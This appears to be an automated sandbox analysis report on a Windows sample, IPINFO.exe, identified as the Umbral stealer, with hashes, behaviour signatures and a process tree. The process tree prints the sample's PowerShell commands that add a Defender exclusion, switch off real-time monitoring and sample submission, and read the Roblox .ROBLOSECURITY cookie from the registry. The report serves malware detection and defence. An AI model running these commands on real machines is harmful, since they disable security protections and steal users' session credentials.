Analysis

  • max time kernel
    125s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-09-2024 18:49

General

  • Target

    IPINFO.exe

  • Size

    231KB

  • MD5

    abfb56d4a8d6c13c0e2c3c9e43a0b778

  • SHA1

    b4a65f6ee69b61667444dea6ebdec7be5ef6f33f

  • SHA256

    f378696e692b4e4aef30f2476083c71fac866586440c60d77bc3d4849c7ff5f7

  • SHA512

    60784c9f40487e5ae8dd8695545f3027adc848325f6e82b16a41f94122d595b0a1138934795eac271893a17300ace0a5e960fb2de22583ad9be91746f57b443e

  • SSDEEP

    6144:RloZMNrIkd8g+EtXHkv/iD4tFQxw2xpa3PyAxVkHRb8e1mfi:joZmL+EP8tFQxw2xpa3PyAxVkJN

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\IPINFO.exe
    "C:\Users\Admin\AppData\Local\Temp\IPINFO.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\IPINFO.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4428
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4504
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1016
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1864
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1036
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4900
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
        PID:1536
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4352
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:1368
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3692,i,16315016104747277319,5510969007830467313,262144 --variations-seed-version --mojo-platform-channel-handle=4668 /prefetch:8
      1⤵
        PID:4920

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        77d622bb1a5b250869a3238b9bc1402b

        SHA1

        d47f4003c2554b9dfc4c16f22460b331886b191b

        SHA256

        f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

        SHA512

        d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        74a6b79d36b4aae8b027a218bc6e1af7

        SHA1

        0350e46c1df6934903c4820a00b0bc4721779e5f

        SHA256

        60c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04

        SHA512

        60e71435a9a23f4c144d641844f4182ddc9aa4ccd3e99232149a187112dce96458aab9587e9fea46f5dc5a52f5ca758969a04657a2b5b10241d3e4554f7c85e0

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        88be3bc8a7f90e3953298c0fdbec4d72

        SHA1

        f4969784ad421cc80ef45608727aacd0f6bf2e4b

        SHA256

        533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

        SHA512

        4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        936ffdec85530ca7b165974f9f5289e1

        SHA1

        3d6ac85063c19476018138355da6390c2fe15a1c

        SHA256

        1419d0ab52032888f9ace941657810a23a9242ccfb6a6cdf1a32736486e505fd

        SHA512

        a0a19a76f68795401d3b902505aafd4a1e09dc9059697a7f2bff82cde58e0fa38972006eda4947189589ea794803702b7253d4eb08a00f0c3b13c536a11c32f0

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ddpngtx.kaz.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/2980-66-0x000001FFE5380000-0x000001FFE538A000-memory.dmp

        Filesize

        40KB

      • memory/2980-33-0x000001FFE5340000-0x000001FFE535E000-memory.dmp

        Filesize

        120KB

      • memory/2980-87-0x00007FF9478F0000-0x00007FF9483B1000-memory.dmp

        Filesize

        10.8MB

      • memory/2980-83-0x00007FF9478F0000-0x00007FF9483B1000-memory.dmp

        Filesize

        10.8MB

      • memory/2980-2-0x00007FF9478F0000-0x00007FF9483B1000-memory.dmp

        Filesize

        10.8MB

      • memory/2980-31-0x000001FFFDE50000-0x000001FFFDEC6000-memory.dmp

        Filesize

        472KB

      • memory/2980-32-0x000001FFFDDD0000-0x000001FFFDE20000-memory.dmp

        Filesize

        320KB

      • memory/2980-82-0x00007FF9478F3000-0x00007FF9478F5000-memory.dmp

        Filesize

        8KB

      • memory/2980-1-0x000001FFE36B0000-0x000001FFE36F0000-memory.dmp

        Filesize

        256KB

      • memory/2980-0-0x00007FF9478F3000-0x00007FF9478F5000-memory.dmp

        Filesize

        8KB

      • memory/2980-67-0x000001FFFDE20000-0x000001FFFDE32000-memory.dmp

        Filesize

        72KB

      • memory/4428-12-0x00007FF9478F0000-0x00007FF9483B1000-memory.dmp

        Filesize

        10.8MB

      • memory/4428-13-0x00000140FD330000-0x00000140FD352000-memory.dmp

        Filesize

        136KB

      • memory/4428-15-0x00007FF9478F0000-0x00007FF9483B1000-memory.dmp

        Filesize

        10.8MB

      • memory/4428-14-0x00007FF9478F0000-0x00007FF9483B1000-memory.dmp

        Filesize

        10.8MB

      • memory/4428-18-0x00007FF9478F0000-0x00007FF9483B1000-memory.dmp

        Filesize

        10.8MB